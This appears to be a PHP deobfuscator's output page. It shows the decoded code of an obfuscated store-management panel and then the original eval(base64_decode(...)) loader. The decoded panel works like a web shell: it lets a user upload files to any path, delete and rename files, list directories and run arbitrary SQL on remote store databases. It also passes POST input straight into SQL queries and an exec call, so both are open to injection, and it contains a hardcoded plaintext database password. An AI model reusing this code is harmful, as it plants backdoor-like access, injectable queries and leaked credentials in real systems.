        echo "</textarea></div></div><div class=\'form-row\'><div class=\'col-md-12 mb-3\'>
 <select class=\'select-2 form-control mb-2 mr-sm-2\' name=\'ip\'>
 <option value=\'\'>Kode Toko</option>";
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt = fopen("ctkrekapabsen.dll", "rb");
        while (!feof($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt)) {
            $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp = fgets($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
            $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN = explode(\',\', $aCRWjsevKKfeY4b5WaGzS6rAQcvPE5HLp);
            echo "<option value=\'" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[2] . "\'>" . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[0] . " - " . $UX98wJrkrwmtBxZTcXGZQkeVCNW8PcmmN[1] . "</option>";
        }
        echo "</select></div></div><div class=\'form-inline\'>";
        fclose($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr_txt);
        echo "
 <input type=\'text\' class=\'form-control mb-2 mr-sm-2\' name=\'ip1\' readonly value=\'";
        if (!empty($_POST[\'ip\'])) {
            echo $_POST[\'ip\'];
        } else if (!empty($_POST[\'ip1\'])) {
            echo $_POST[\'ip1\'];
        };
        echo "\'/>";
        echo "
 <input type=\'hidden\' name=\'submit\' value=\'execute-sopp\'/>
 <button type=\'submit\' class=\'btn-query-toko btn btn-light mb-2\'>Execute Sopp</button></div>
 <label>*) Durasi maksimal eksekusi query adalah <span class=\'waktu_tunggu\'>0</span> / 250 detik(tergantung kecepatan koneksi toko). Harap ditunggu dan jangan diclose sampai loading selesai.</label>
 </form>";
        /*
        BACKUP TABLE
        */
    } else if ($_GET[\'p\'] == hash("sha1", "logout")) {
        session_destroy();
        echo "<meta http-equiv=\'refresh\' content=\'0;
url=" . $Rku3hBkrqLZTWSGepCTEAmfZHP2czQzJt . "\'>";
    }
    echo "<hr>";
    //UPLOAD FILE
    if ($_POST[\'submit\'] == \'upload-file\') {
        move_uploaded_file($_FILES[\'file_upload\'][\'tmp_name\'], $_POST[\'file_dir\'] . $_FILES[\'file_upload\'][\'name\']);
        echo "<a href=\'" . $_POST[\'file_dir\'] . $_FILES[\'file_upload\'][\'name\'] . "\'>" . $_FILES[\'file_upload\'][\'name\'] . "</a>";
        //UPLOAD Folder
        
    } else if ($_POST[\'submit\'] == \'upload-folder\') {
        $foldername = $_POST[\'foldername\'];
        if (!is_dir($foldername)) mkdir($foldername);
        foreach ($_FILES[\'files\'][\'name\'] as $i => $name) {
            if (strlen($_FILES[\'files\'][\'name\'][$i]) > 1) {
                move_uploaded_file($_FILES[\'files\'][\'tmp_name\'][$i], $foldername . "/" . $name);
            }
        }
        //RENAME FILE
        
    } else if ($_POST[\'submit\'] == \'rename-file\') {
        rename("images", "pictures");
        rename($_POST[\'file_lama\'], $_POST[\'file_baru\']);
        //DELETE-FILE
        
    } else if ($_POST[\'submit\'] == \'delete-file\') {
        unlink($_POST[\'file_name\']);
        //LIST FILE
        
    } else if ($_POST[\'submit\'] == \'list\') {
        if ($handle = opendir($_POST[\'path_list\'])) {
            $uriSegments = explode("/", parse_url($_SERVER[\'REQUEST_URI\'], PHP_URL_PATH));
            echo "
 <table class=\'tbl-6cEBNAf table table-striped table-bordered table-sm small\' width=\'100%\'>
 <thead>
 <th>File Name</th>
 </thead><tbody>";
            while (false !== ($entry = readdir($handle))) {
                if ($entry != "." && $entry != "..") {
                    echo "
 <tr>
 <td><a href=\'http://" . $_SERVER[\'HTTP_HOST\'] . "/" . $_POST[\'path_list\'] . "/" . $entry . "\'>" . $entry . "</a></td>
 </tr>";
                }
            }
            echo "</tbody></table>";
            closedir($handle);
        }
    } else if ($_POST[\'submit\'] == \'update-config-db\') {
        $file = fopen("frminputkategori.dll", "w");
        $data_config = base64_encode($_POST[\'pass-toko\']) . "," . base64_encode($_POST[\'user-toko\']) . "," . $_POST[\'server-otr\'] . "," . $_POST[\'user-otr\'] . "," . $_POST[\'pass-otr\'] . "," . $_POST[\'db-otr\'] . "," . $_POST[\'server-awh\'] . "," . $_POST[\'user-awh\'] . "," . $_POST[\'pass-awh\'] . "," . $_POST[\'db-awh\'];
        fwrite($file, $data_config);
        fclose($file);
        //submit ontheroad
        
    } else if ($_POST[\'submit\'] == \'otr\') {
        require_once ("conndb.php");
        $x = $_POST[\'kdtk\'];
        $y = $_POST[\'nik\'];
        $CekIpToko = mysql_query("SELECT kdtk,ip_induk FROM toko WHERE kdtk=\'$x\'");
        $ok = mysql_num_rows($CekIpToko);
        $rcek = mysql_fetch_array($CekIpToko);
        if ($ok <= 0) {
            echo "<center><strong>LOGIN GAGAL! </strong><br> 
 Anda menjalankan program bukan dari CPU toko.<br>
 Don\'t Try this. Your ip " . $x . "<br></center>";
        } else {
            $_SESSION[\'kdtk\'] = $rcek[\'kdtk\'];
            $logindi = $rcek[\'kdtk\'];
            $login = mysql_query("SELECT * FROM users WHERE username=\'$y\'");
            $ketemu = mysql_num_rows($login);
            $r = mysql_fetch_array($login);
            if ($ketemu > 0) {
                session_start();
                $_SESSION[\'ip_induk\'] = $rcek[\'ip_induk\'];
                $_SESSION[\'kdtk\'] = $rcek[\'kdtk\'];
                $_SESSION[\'namauser\'] = $r[\'username\'];
                $_SESSION[\'namalengkap\'] = $r[\'nama_lengkap\'];
                $_SESSION[\'nik\'] = $y;
                $_SESSION[\'passuser\'] = $r[\'password\'];
                $_SESSION[\'leveluser\'] = $r[\'level\'];
                $_SESSION[\'dept\'] = $r[\'dep\'];
                $sid_lama = session_id();
                session_regenerate_id();
                $sid_baru = session_id();
                mysql_query("UPDATE users SET id_session=\'$sid_baru\',online=\'Y\',kdtk=\'$logindi\' WHERE username=\'$y\'");
                echo "<iframe src=\'media.php?page=absenlap \' width=\'100%\' height=\'700\'></iframe>";
            } else {
                echo "<center><strong>LOGIN GAGAL! </strong><br> 
 Username atau Password Anda tidak benar.<br>
 Atau account Anda sedang diblokir.<br></center>";
            }
        }
        //submit ontheroad
        
    } else if ($_POST[\'submit\'] == \'delete-otr\') {
        require_once ("config/conndb.php");
        mysql_query(\'DELETE FROM absen WHERE tanggal="\' . $_POST[\'tanggal_masuk\'] . \'" and nik="\' . $_POST[\'nik\'] . \'" and kdtk_masuk="\' . $_POST[\'kdtk\'] . \'"\');
    } else if ($_POST[\'submit\'] == \'masuk-otr\') {
        require_once ("config/conndb.php");
        mysql_query(\'UPDATE absen SET masuk="\' . $_POST[\'msk\'] . \'",tanggal="\' . $_POST[\'tglmsk\'] . \'" WHERE tanggal="\' . $_POST[\'wmsk\'] . \'" and nik="\' . $_POST[\'nik\'] . \'" and kdtk_masuk="\' . $_POST[\'kdtk\'] . \'"\');
    } else if ($_POST[\'submit\'] == \'pulang-otr\') {
        require_once ("config/conndb.php");
        mysql_query(\'UPDATE absen SET masuk="\' . $_POST[\'tanggal_pulang_new\'] . \' \' . $_POST[\'jam_pulang_new\'] . \'",tanggal="\' . $_POST[\'tanggal_pulang_new\'] . \'" WHERE tanggal="\' . $_POST[\'tanggal_pulang_old\'] . \'" and nik="\' . $_POST[\'nik\'] . \'" and kdtk_masuk="\' . $_POST[\'kdtk\'] . \'"\');
    } else if ($_POST[\'submit\'] == \'pulang-otr\') {
        require_once ("config/conndb.php");
        mysql_query(\'DELETE FROM absen WHERE tanggal="\' . $_POST[\'tanggal_masuk\'] . \'" and nik="\' . $_POST[\'nik\'] . \'" and kdtk_masuk="\' . $_POST[\'kdtk\'] . \'"\');
    } else if ($_POST[\'submit\'] == \'UJ5q8TR\') {
        array_map(\'unlink\', glob("frm_zasw*"));
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr = $_POST[\'ip\'];
        $list_table = $_POST[\'list_table\'];
        $asw = "frm_zasw" . date(\'j-h-i\') . uniqid();
        $q4fwJR3qtRcbqLX9eW8metXrHr867pQtH = mysqli_connect($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr, $jft9MARQqn7pQmtpLH8dBaHyuKTeWLyNg, $UwwTvdQFwPK3SHeQvetz2j4sHndRCDVvq, \'pos\');
        notConnect($q4fwJR3qtRcbqLX9eW8metXrHr867pQtH, $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr);
        exec(\'mysqldump --user=\' . $jft9MARQqn7pQmtpLH8dBaHyuKTeWLyNg . \' --password=\' . $UwwTvdQFwPK3SHeQvetz2j4sHndRCDVvq . \' --host=\' . $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr . \' pos \' . $list_table . \' > \' . $asw . \'.txt\');
        echo "Klik <a href=\' " . $asw . ".txt\' target=\'_blank\'>file ini</a> jika hasil backup tidak muncul<br>";
        echo "<iframe width=\'100%\' height=\'500\' src=\'" . $asw . ".txt\'></iframe>";
        /*
         * RESTORE TABLE
        */
    } else if ($_POST[\'submit\'] == \'restore-table\') {
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr = $_POST[\'ip\'];
        $array = explode(".", $_FILES["db"]["name"]);
        $extension = end($array);
        if ($extension == \'sql\') {
            $q4fwJR3qtRcbqLX9eW8metXrHr867pQtH = mysqli_connect($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr, $jft9MARQqn7pQmtpLH8dBaHyuKTeWLyNg, $UwwTvdQFwPK3SHeQvetz2j4sHndRCDVvq, \'pos\');
            notConnect($q4fwJR3qtRcbqLX9eW8metXrHr867pQtH, $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr);
            $output = \'\';
            $count = 0;
            $file_data = file($_FILES["db"]["tmp_name"]);
            foreach ($file_data as $row) {
                $start_character = substr(trim($row), 0, 2);
                if ($start_character != \'--\' || $start_character != \'/*\' || $start_character != \'//\' || $row != \'\') {
                    $output = $output . $row;
                    $end_character = substr(trim($row), -1, 1);
                    if ($end_character == \';
\') {
                        if (!mysqli_query($q4fwJR3qtRcbqLX9eW8metXrHr867pQtH, $output)) {
                            $count++;
                        }
                        $output = \'\';
                    }
                }
            }
            if ($count > 0) {
                echo "nok";
            } else {
                echo "ok";
            }
        }
        /*
         * CEK KONEKSI
        */
    } else if ($_POST[\'submit\'] == \'execute\') {
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr = $_POST[\'ip\'];
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr1 = $_POST[\'ip1\'];
        $query = stripslashes($_POST[\'query\']);
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 == \'M7MqrrECeaDSEy6RkBX6a3m4bc624FvmT\') {
            if (strpos($query, \'pdate\')) {
                echo "akses user ini terbatas untuk melakukan update table :)";
                return false;
            }
        }
        if ($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr == \'\') {
            $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr = $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr1;
        }
        $q4fwJR3qtRcbqLX9eW8metXrHr867pQtH = mysqli_connect($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr, $jft9MARQqn7pQmtpLH8dBaHyuKTeWLyNg, $UwwTvdQFwPK3SHeQvetz2j4sHndRCDVvq, "pos");
        notConnect($q4fwJR3qtRcbqLX9eW8metXrHr867pQtH, $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr);
        $data = mysqli_query($q4fwJR3qtRcbqLX9eW8metXrHr867pQtH, $query);
        echo "
 <table id=\'tableQueryBrowser\' class=\'small table-sm table table-striped table-bordered\' width=\'100%\'>
 <thead>";
        $tot = 0;
        while ($d = mysqli_fetch_field($data)) {
            echo "<th>" . ($d->name) . "</th>";
            $a = $d->name;
            $tot++;
        }
        echo "</thead><tbody><tr>";
        $tot = $tot - 1;
        while ($d = mysqli_fetch_assoc($data)) {
            $no = 0;
            foreach ($d as $key => $value) {
                $no++;
                echo "<td>$value</td>";
                if ($no > $tot) {
                    echo "<tr>";
                    foreach ($d as $key => $value) {
                        echo "<td></td>";
                    }
                    echo "</tr>";
                }
            }
        }
        echo "</tr></tbody></table>";
    } else if ($_POST[\'submit\'] == \'execute-sopp\') {
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr = $_POST[\'ip\'];
        $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr1 = $_POST[\'ip1\'];
        $query = stripslashes($_POST[\'query\']);
        if ($xup5rQxcMrPRDEu9N3Pz5MUjREnfNgwR7 == \'M7MqrrECeaDSEy6RkBX6a3m4bc624FvmT\') {
            if (strpos($query, \'pdate\')) {
                echo "akses user ini terbatas untuk melakukan update table :)";
                return false;
            }
        }
        if ($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr == \'\') {
            $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr = $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr1;
        }
        $q4fwJR3qtRcbqLX9eW8metXrHr867pQtH = mysqli_connect($LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr, "sopp", "4gen1nd0m4ret", "soppagent");
        notConnect($q4fwJR3qtRcbqLX9eW8metXrHr867pQtH, $LMvdNCavdyCegkB7j2jJrKWwCvZ4dC2mr);
        $data = mysqli_query($q4fwJR3qtRcbqLX9eW8metXrHr867pQtH, $query);
        echo "
 <table id=\'tableQueryBrowser\' class=\'small table-sm table table-striped table-bordered\' width=\'100%\'>
 <thead>";
        $tot = 0;
        while ($d = mysqli_fetch_field($data)) {
            echo "<th>" . ($d->name) . "</th>";
            $a = $d->name;
            $tot++;
        }
        echo "</thead><tbody><tr>";
        $tot = $tot - 1;
        while ($d = mysqli_fetch_assoc($data)) {
            $no = 0;
            foreach ($d as $key => $value) {
                $no++;
                echo "<td>$value</td>";
                if ($no > $tot) {
                    echo "<tr>";
                    foreach ($d as $key => $value) {
                        echo "<td></td>";
                    }
                    echo "</tr>";
                }
            }
        }
        echo "</tr></tbody></table>";
    }
?>
 
 </div>
 </div>
 </div>

 <div class="modal fade" id="modalDetailArticle" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"><div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><h5 class="modal-title" id="exampleModalLabel"></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">&times;
</span> </button></div><div class="modal-body"></div></div></div></div>


 <script>
 $(document).ready(function() {

 $(\'#ip-address\').DataTable({
 "scrollX": true
 });

 $(\'.tblArticle\').DataTable({
 "order": [
 [0, "desc"]
 ],
 "scrollX": true
 });

 $(\'.inp\').DataTable({
 "scrollX": true
 });

 $(\'#tableQueryBrowser\').DataTable({
 "scrollX": true,
 "order": [0, \'desc\']
 });

 $(\'.tbl-6cEBNAf\').DataTable({
 "scrollX": true,
 "select": true
 });


 $(\'.select-2\').select2({
 theme: "bootstrap"
 });


 $(\'.loading\').hide();


 });


 $(\'.btn\').click(function() {
 $(this).text(\'Please wait...\');

 $(\'.loading\').show();

 })

 $(\'.btn-query-toko\').click(function() {
 $(this).text(\'Harap Tunggu...\');


 var timeElapsed = 0;

 var timerID = -1;


 function tick() {
 timeElapsed++
 $(".waktu_tunggu").html(timeElapsed);

 if(timeElapsed == \'250\') {
 alert("Request time out");

 return false;

 }
 }
 if(timerID == -1) {
 timerID = setInterval(tick, 1000);

 }

 })

 $(\'.btnModalDetailArticle\').click(function() {

 var id = $(this).attr(\'data-id\');


 $.ajax({
 type: \'GET\',
 url: \'frmdetailart.php\',
 dataType: \'json\',
 data: {
 id: id
 }
 }).then(function(data) {
 if(data.status) {
 $(\'#modalDetailArticle\').modal(\'show\');

 $(\'.modal-title\').text(data.judul);

 $(\'.modal-body\').html(data.solusi);


 } else {

 }
 });

 });

 </script>


<?php
}
echo "
</body>

</html>";
?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCi8vY29weXJpZ2h0IGNhYi4gamVtYmVyIDIwMTcNCkBvYl9zdGFydCgpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtciA9IGdldGVudignUkVNT1RFX0FERFInKTsNCiRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIxID0gc3Vic3RyKCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIsIDAsIDYpOw0KaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAnMCcpOw0KaW5pX3NldCgnZGlzcGxheV9zdGFydHVwX2Vycm9ycycsICcwMScpOw0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCiRSa3UzaEJrcnFMWlRXU0dlcENURUFtZlpIUDJjelF6SnQgPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiRkb250ID0gIjxzY3JpcHQ+YWxlcnQoJ0FjY2VzcyBEZW5pZWQnKTwvc2NyaXB0PiI7DQpzZXRfdGltZV9saW1pdCgyNTApOw0KZnVuY3Rpb24gbm90Q29ubmVjdCgkcTRmd0pSM3F0UmNicUxYOWVXOG1ldFhySHI4NjdwUXRILCAkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yKSB7DQogICAgaWYgKCEkcTRmd0pSM3F0UmNicUxYOWVXOG1ldFhySHI4NjdwUXRIKSB7DQogICAgICAgIGVjaG8gIjxzY3JpcHQ+YWxlcnQoJ3VuYWJsZSB0byBjb25uZWN0ICRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXInKTwvc2NyaXB0PiI7DQogICAgfQ0KfQ0KZWNobyAiPCFET0NUWVBFIGh0bWw+PGh0bWwgbGFuZz0nZW4nPjxoZWFkPjxtZXRhIGNoYXJzZXQ9J3V0Zi04Jz48bWV0YSBuYW1lPSd2aWV3cG9ydCcgY29udGVudD0nd2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8nPjxtZXRhIGh0dHAtZXF1aXY9J1gtVUEtQ29tcGF0aWJsZScgY29udGVudD0nSUU9ZWRnZSc+PHRpdGxlPkFuYWsgQnVhbmdhbjwvdGl0bGU+PGxpbmsgcmVsPSdzaG9ydGN1dCBpY29uJyBocmVmPSdmYXYuaWNvJz48bGluayBocmVmPSdib290c3RyYXAubWluLmNzcycgcmVsPSdzdHlsZXNoZWV0Jz48bGluayBocmVmPSdEYXRhVGFibGVzLm1pbi5jc3MnIHJlbD0nc3R5bGVzaGVldCc+PGxpbmsgaHJlZj0nc2VsZWN0Mi5taW4uY3NzJyByZWw9J3N0eWxlc2hlZXQnIC8+PGxpbmsgaHJlZj0nc2VsZWN0Mi1ib290c3RyYXAubWluLmNzcycgcmVsPSdzdHlsZXNoZWV0JyAvPiA8c2NyaXB0IHNyYz0nanF1ZXJ5Lm1pbi5qcyc+PC9zY3JpcHQ+IDxzY3JpcHQgc3JjPSdib290c3RyYXAuYnVuZGxlLm1pbi5qcyc+PC9zY3JpcHQ+IDxzY3JpcHQgc3JjPSdEYXRhVGFibGVzLm1pbi5qcyc+PC9zY3JpcHQ+IDxzY3JpcHQgc3JjPSdzZWxlY3QyLm1pbi5qcyc+PC9zY3JpcHQ+IDwvaGVhZD48Ym9keT4iOw0KaWYgKGVtcHR5KCRfU0VTU0lPTlsnSExCcEdWRE1LdzdwSmFXZncyWVlCVFhENHFSTGRDRUczJ10pKSB7DQogICAgZWNobyAiDQo8ZGl2IGNsYXNzPSdjb250YWluZXInPjxkaXYgY2xhc3M9J3Jvdyc+PGRpdiBjbGFzcz0nY29sLWxnLTEyJz48cD48Zm9ybSBhY3Rpb249JycgY2xhc3M9J2Zvcm0taW5saW5lJyBtZXRob2Q9J1BPU1QnPiA8aW5wdXQgbmFtZT0ndXNlcm5hbWUnIGNsYXNzPSdmb3JtLWNvbnRyb2wgbWItMiBtci1zbS0yJyB0eXBlPSd0ZXh0JyBwbGFjZWhvbGRlcj0nVXNlcm5hbWUnIC8+IDxpbnB1dCBuYW1lPSdwYXNzd29yZCcgY2xhc3M9J2Zvcm0tY29udHJvbCBtYi0yIG1yLXNtLTInIHR5cGU9J3Bhc3N3b3JkJyBwbGFjZWhvbGRlcj0nUGFzc3dvcmQnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3N1Ym1pdCcgdmFsdWU9J2xvZ2luJyAvPiA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tbGlnaHQgbWItMic+TG9naW48L2J1dHRvbj48L2Zvcm0+PC9wPjwvZGl2PjwvZGl2PjwvZGl2PiI7DQogICAgaWYgKCRfUE9TVFsnc3VibWl0J10gPT0gJ2xvZ2luJykgew0KICAgICAgICAkRGE4djc5Zjh1U0dKdXBZUnZmQVNUUGNlRXQ1WldkTXZOID0gaGFzaCgic2hhMSIsICgkX1BPU1RbJ3VzZXJuYW1lJ10pKTsNCiAgICAgICAgJE1VajJYNEFnQkxERW01ekdxc3NQa25RQTk5YXlNWEc0biA9IGhhc2goInNoYTEiLCAoJF9QT1NUWydwYXNzd29yZCddKSk7DQogICAgICAgICRZOWVuNXdCY3E1VUY1ams5R1RVajNlUVdlNDJtcGdyWjIgPSAiZmY4ZTFmMTg3OGRhYjNhYjlhOWU5MjZkYzQ0NzY5MDZkMTIwZGNlOSI7DQogICAgICAgICREOWRoUEh3aERhUHlFOXBQU0hOYmdTY1Nrenh2a2dMTWIgPSAiYTQ0YmU1YThmMjA1OTIzZmEzMmZjYjE0MGE2NDYxNDI1NDZmNTdjYiI7DQogICAgICAgICRXWW1uRXJ6R2ZFdTVQTjZLV0dzd1VIdGFBNzZ1N3dWN1YgPSAiZTZhMDRiNjdkMjQxODliOWI1ZWJhNjQzYjVhODM2MDdmZjFmNDQxZSI7DQogICAgICAgICR6WVQ4Ym5qWmVFMnk1ZUs0bXN5ZEZkdkZtREp4TVl1dU4gPSAiNDk2ZDQxNDdmNzJmODhmZDkwYzQ2OTZmYWZjM2ViNWVjNGQ4NzMxNyI7DQogICAgICAgICRIOVdOTjhmdlpZTnI4dTlEeWtFeWZxSGZhSmRBSkhoWmMgPSBmb3BlbigiZnJtaW5wdXRrYXRlZ29yaS5kbGwiLCAicmIiKTsNCiAgICAgICAgd2hpbGUgKCFmZW9mKCRIOVdOTjhmdlpZTnI4dTlEeWtFeWZxSGZhSmRBSkhoWmMpKSB7DQogICAgICAgICAgICAkYUNSV2pzZXZLS2ZlWTRiNVdhR3pTNnJBUWN2UEU1SExwID0gZmdldHMoJEg5V05OOGZ2WllOcjh1OUR5a0V5ZnFIZmFKZEFKSGhaYyk7DQogICAgICAgICAgICAkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OID0gZXhwbG9kZSgnLCcsICRhQ1JXanNldktLZmVZNGI1V2FHelM2ckFRY3ZQRTVITHApOw0KICAgICAgICAgICAgJF9TRVNTSU9OWydwYXNzX3Rva28nXSA9IGJhc2U2NF9kZWNvZGUoJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlswXSk7DQogICAgICAgICAgICAkX1NFU1NJT05bJ3VzZXJfdG9rbyddID0gYmFzZTY0X2RlY29kZSgkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OWzFdKTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnc2VydmVyX290ciddID0gYmFzZTY0X2RlY29kZSgkVVg5OHdKcmtyd210QnhaVGNYR1pRa2VWQ05XOFBjbW1OWzJdKTsNCiAgICAgICAgICAgICRfU0VTU0lPTlsndXNlcl9vdHInXSA9IGJhc2U2NF9kZWNvZGUoJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTlszXSk7DQogICAgICAgICAgICAkX1NFU1NJT05bJ3Bhc3Nfb3RyJ10gPSBiYXNlNjRfZGVjb2RlKCRVWDk4d0pya3J3bXRCeFpUY1hHWlFrZVZDTlc4UGNtbU5bNF0pOw0KICAgICAgICAgICAgJF9TRVNTSU9OWydkYl9vdHInXSA9IGJhc2U2NF9kZWNvZGUoJFVYOTh3SnJrcndtdEJ4WlRjWEdaUWtlVkNOVzhQY21tTls1XSk7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRIOVdOTjhmdlpZTnI4dTlEeWtFeWZxSGZhSmRBSkhoWmMpOw0KICAgICAgICBpZiAoJERhOHY3OWY4dVNHSnVwWVJ2ZkFTVFBjZUV0NVpXZE12TiA9PSAkWTllbjV3QmNxNVVGNWprOUdUVWozZVFXZTQybXBncloyIGFuZCAkTVVqMlg0QWdCTERFbTV6R3Fzc1BrblFBOTlheU1YRzRuID09ICREOWRoUEh3aERhUHlFOXBQU0hOYmdTY1Nrenh2a2dMTWIpIHsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnSExCcEdWRE1LdzdwSmFXZncyWVlCVFhENHFSTGRDRUczJ10gPSAnRnhGRTg0VXRLWjhFUGhHN3lGakVXWlhiblRNblJ6WmdkJzsNCiAgICAgICAgfSBlbHNlIGlmICgkRGE4djc5Zjh1U0dKdXBZUnZmQVNUUGNlRXQ1WldkTXZOID09ICRXWW1uRXJ6R2ZFdTVQTjZLV0dzd1VIdGFBNzZ1N3dWN1YgYW5kICRNVWoyWDRBZ0JMREVtNXpHcXNzUGtuUUE5OWF5TVhHNG4gPT0gJHpZVDhibmpaZUUyeTVlSzRtc3lkRmR2Rm1ESnhNWXV1Tikgew0KICAgICAgICAgICAgJF9TRVNTSU9OWydITEJwR1ZETUt3N3BKYVdmdzJZWUJUWEQ0cVJMZENFRzMnXSA9ICdYYzVqNDhLZVduU2RLYmdzQ3NZUmFuOXUzeHRRMk4zSEInOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAkZG9udDsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwOw0KdXJsPSIgLiAkUmt1M2hCa3JxTFpUV1NHZXBDVEVBbWZaSFAyY3pRekp0IC4gIic+IjsNCiAgICB9DQp9IGVsc2Ugew0KICAgICR4dXA1clF4Y01yUFJERXU5TjNQejVNVWpSRW5mTmd3UjcgPSAkX1NFU1NJT05bJ0hMQnBHVkRNS3c3cEphV2Z3MllZQlRYRDRxUkxkQ0VHMyddOw0KICAgICRVd3dUdmRRRndQSzNTSGVRdmV0ejJqNHNIbmRSQ0RWdnEgPSAkX1NFU1NJT05bJ3Bhc3NfdG9rbyddOw0KICAgICRqZnQ5TUFSUXFuN3BRbXRwTEg4ZEJhSHl1S1RlV0x5TmcgPSAkX1NFU1NJT05bJ3VzZXJfdG9rbyddOw0KICAgICRzZXJ2ZXJfb3RyID0gJF9TRVNTSU9OWydzZXJ2ZXJfb3RyJ107DQogICAgJHVzZXJfb3RyID0gJF9TRVNTSU9OWyd1c2VyX290ciddOw0KICAgICRwYXNzX290ciA9ICRfU0VTU0lPTlsncGFzc19vdHInXTsNCiAgICAkZGJfb3RyID0gJF9TRVNTSU9OWydkYl9vdHInXTsNCiAgICBlY2hvICI8bmF2IGNsYXNzPSduYXZiYXIgc3RpY2t5LXRvcCBuYXZiYXItZXhwYW5kLWxnIG5hdmJhci1saWdodCBiZy1saWdodCBzdGF0aWMtdG9wJz48ZGl2IGNsYXNzPSdjb250YWluZXInPiA8YSBjbGFzcz0nbmF2YmFyLWJyYW5kJyBocmVmPSciIC4gJFJrdTNoQmtycUxaVFdTR2VwQ1RFQW1mWkhQMmN6UXpKdCAuICInPkFzc3U8L2E+PGltZyBjbGFzcz0nbG9hZGluZycgaGVpZ2h0PSczMHB4JyB3aWR0aD0nMzBweCcgc3JjPSdsb2FkaW5nMS5zdmcnLz4gPGJ1dHRvbiBjbGFzcz0nbmF2YmFyLXRvZ2dsZXInIHR5cGU9J2J1dHRvbicgZGF0YS10b2dnbGU9J2NvbGxhcHNlJyBkYXRhLXRhcmdldD0nI25hdmJhclJlc3BvbnNpdmUnIGFyaWEtY29udHJvbHM9J25hdmJhclJlc3BvbnNpdmUnIGFyaWEtZXhwYW5kZWQ9J2ZhbHNlJyBhcmlhLWxhYmVsPSdUb2dnbGUgbmF2aWdhdGlvbic+IDxzcGFuIGNsYXNzPSduYXZiYXItdG9nZ2xlci1pY29uJz48L3NwYW4+IDwvYnV0dG9uPjxkaXYgY2xhc3M9J2NvbGxhcHNlIG5hdmJhci1jb2xsYXBzZScgaWQ9J25hdmJhclJlc3BvbnNpdmUnPjx1bCBjbGFzcz0nbmF2YmFyLW5hdiBtbC1hdXRvJz4iOw0KICAgIGlmICgkeHVwNXJReGNNclBSREV1OU4zUHo1TVVqUkVuZk5nd1I3ID09ICdGeEZFODRVdEtaOEVQaEc3eUZqRVdaWGJuVE1uUnpaZ2QnKSB7DQogICAgICAgIGVjaG8gIjxsaSBjbGFzcz0nbmF2LWl0ZW0gZHJvcGRvd24nPiA8YSBjbGFzcz0nbmF2LWxpbmsgZHJvcGRvd24tdG9nZ2xlJyBocmVmPScjJyBpZD0nbmF2YmFyRHJvcGRvd24nIHJvbGU9J2J1dHRvbicgZGF0YS10b2dnbGU9J2Ryb3Bkb3duJyBhcmlhLWhhc3BvcHVwPSd0cnVlJyBhcmlhLWV4cGFuZGVkPSdmYWxzZSc+IENvbmZpZyA8L2E+PGRpdiBjbGFzcz0nZHJvcGRvd24tbWVudScgYXJpYS1sYWJlbGxlZGJ5PSduYXZiYXJEcm9wZG93bic+IDxhIGNsYXNzPSdkc